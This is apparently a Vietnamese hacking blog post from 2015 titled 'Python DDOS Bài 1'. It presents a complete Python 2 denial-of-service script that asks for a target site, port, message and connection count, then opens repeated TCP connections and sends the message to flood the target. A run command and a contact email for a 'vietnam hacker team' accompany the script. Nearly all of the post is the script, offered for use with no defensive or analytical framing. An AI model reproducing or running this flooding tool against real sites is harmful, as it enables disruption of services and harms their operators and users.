Tin Học Và Những Điều Cần Biết: Python DDOS Bài 1

Wednesday, May 27, 2015

Python DDOS Bài 1

Save code with python ddos :)

Used to command : python ddos.py

  1. import time
  2. import socket
  3. import os
  4. import sys
  5. import string
  6.  
  7. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  8.  
  9. def restart_program():
  10.     python = sys.executable
  11.     os.execl(python, python, * sys.argv)
  12. curdir = os.getcwd()
  13.  
  14. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
  15.  
  16. print ("DDoS mode loaded")
  17. print ("python script made by an0nymous_nl twitter")
  18. host=raw_input( "Site you want to DDoS:" )
  19. port=input( "Port you want to attack:" )
  20. message=raw_input( "Input the message you want to send:" )
  21. conn=input( "How many connections you want to make:" )
  22. ip = socket.gethostbyname( host )
  23. print ("[" + ip + "]")
  24. print ( "[Ip is locked]" )
  25. print ( "[Attacking " + host + "]" )
  26. print ("+----------------------------+")
  27. def dos():
  28.     #pid = os.fork()
  29.     ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  30.     try:
  31.         ddos.connect((host, 80))
  32.         ddos.send( message )
  33.         ddos.sendto( message, (ip, port) )
  34.         ddos.send( message );
  35.     except socket.error, msg:
  36.         print("|[Connection Failed]         |")
  37.     print ( "|[DDoS Attack Engaged]       |")
  38.     ddos.close()
  39. for i in range(1, conn):
  40.     dos()
  41. print ("+----------------------------+")
  42. print("The connections you requested had finished")
  43. if __name__ == "__main__":
  44.     answer = raw_input("Do you want to ddos more?")
  45.     if answer.strip() in "y Y yes Yes YES".split():
  46.         restart_program()
  47.     else:
  48.         os.system(curdir+"Deqmain.py")

Hỗ trợ Online 01264876171
Email: vietnamhackerteam@gmail.com

No comments:

Post a Comment